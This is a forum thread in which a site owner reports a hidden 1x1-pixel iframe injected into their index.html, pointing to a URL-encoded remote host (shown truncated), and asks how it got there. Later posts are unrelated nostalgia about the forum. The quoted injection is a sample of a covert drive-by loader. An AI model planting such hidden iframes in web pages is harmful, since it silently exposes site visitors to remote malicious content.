Not sure which forum this belongs in, but I'm a bit peeved. Someone made me aware that they were getting errors on my website, and, looking at the code, I found this was inserted at the top of my index.html page:

Code:
iframe src= http://%77%77%77%...(etc.)?id=index12 frameborder="0" width="1" height="1" scrolling="no" name=counter></iframe>

Note that I cut off the series of "%xx" numbers, because I think you get the idea. Checking the "last modified" date, it was inserted on December 17th. I've done lots of searching, and I can't find any information at all on anything similar to this. Does anyone know of a vulnerability floating around that would cause something like this?

if you're using somekind of free hosting, they may have inserted the code for ads
 
It's a paid host, so it wouldn't be anything like that. I've already removed the code with no problems.

Thought: it's a shared hosting solution. If another user on the server was using vulnerable code (like an out-of-date forum software), I presume it could hit everyone on the same server? It's just baffling me, because I even checked my access logs to correspond to the "last modified" date on my index.html file, and there's absolutely nothing out of the ordinary.

Ideas?

Also Hi EP and people. I found this place again while looking through a oooollllllldddd backup. I have filled over 10TB and was looking at my collection of antiques. Any bids on the 500Mhz Win 95 fix?
Any of the SP crew still out there?

Impressed you have kept this alive this long EP! So many sites have come and gone. :(

Just did some crude math and I apparently joined almost 18yrs ago, how is that possible???
